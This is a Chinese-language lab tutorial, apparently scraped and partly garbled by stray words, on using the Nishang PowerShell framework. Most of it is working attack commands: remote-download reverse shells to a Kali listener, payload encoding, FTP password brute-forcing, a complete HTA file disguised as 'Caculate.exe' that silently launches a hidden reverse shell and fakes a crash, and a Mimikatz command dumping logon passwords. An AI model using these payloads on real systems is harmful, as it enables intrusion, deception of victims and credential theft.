get-host
Import-Module .\nishang.psm1
Get-Help 脚本名称 -full
获得一些使用提示powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
(IEX为远程下载脚本)Invoke-Encode
脚原本将咱们现有的脚本编码压缩:Invoke-Encode -DataToEncode "nishang-master\Shells\Invoke-PowerShellTcp.ps1" -OutCommand
powershell -e [encodedscript]
-Port
须要正向监听的端口或要反向链接的端口。-Bind
正向链接-IPAddress
选择反向链接时须要链接到的IP地址-Reverse
反向链接Invoke-PowerShellTcp -Bind -Port 5330
nc -nv 192.168.17.131 5330
(这里IP为win10)nc -ltp 5330
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.17.130 -Port 5330
(这里IP为kali)Get-Help Invoke-PowerShellTcp -full
查看信息(如下为部分,咱们能够重点看语法、说明还有示例,这条命令所显示的就是脚本中的注释部分~)咱们能够参考所学的socket编程,在wireshark中抓包,咱们能够看到TCP数据包,脚本中将靶机做为服务端,在创建三次握手后,服务端会向攻击方发送数据html
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length)
攻击方获取shell后输入命令时,靶机会接收并执行相应命令,在输出git
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
Invoke-BruteForce -ComputerName 192.168.80.129 -UserList C:\Users\ASUS\Desktop\username.txt -PasswordList C:\Users\ASUS\Desktop\pass.txt -Service ftp -verbose
wireshark中能够看到当爆破后,ftp服务器端与本地的信息交互,本地确认完获得结果后退出。github
# 获取返回信息 $result = $ftpRequest.GetResponse() $message = $result.BannerMessage + $result.WelcomeMessage # 打印信息到控制台 Write-Output "Match $username : $Password" $success = $true
Client
,利用该模块生成各类感染的文件如HTA、Word,来执行powershell脚本发动攻击。Out-HTA
生成带有payload的hta文件:Out-HTA -PayloadScript C:\Users\ASUS\Desktop\nishang-master\Shells\Invoke-PowerShellTcpOneLine.ps1
首先生成一个能够弹出系统计算器的代码shell
<title>Caculate</title> <center> <h1>Caculate.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100% <br> </center> <script language="VBScript"> Set Hackdo = CreateObject("Wscript.Shell") Set Check = CreateObject("Scripting.FileSystemObject") If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then Hackdo.Run "powershell.exe -nop -w hidden calc.exe" End If </script>Hackdo.Run为调用Wscript.shell中的运行外部程序的函数——run,后面跟着一条powershell命令,用powershell开启计算器。
而后咱们能够设置出伪装闪退效果,在后面添加下面代码编程
Hackdo.Run "taskkill /f /im mshta.exe"这里咱们只是杀死了
mshta.exe
这个进程,而shellcode是注入在powershell中执行的,它的进程还在~Out-HTA -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1
,可是kali那边监听没反应因而换成了直接远程调用脚本,并用vbhide
用来隐藏powershell的弹窗。主要代码以下:windows
<body> <title>XXX-exp</title> <center> <h1>Caculate.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100% <br> </center> <script language="VBScript"> Set Hackdo = CreateObject("Wscript.Shell") Set Check = CreateObject("Scripting.FileSystemObject") If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide Hackdo.Run "taskkill /f /im mshta.exe" End If </script> </body> </html>
out-hta
nc -lv 5330
终于获取shell
服务器
Import-Module .\nishang.psm1
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
获取密码参考资料session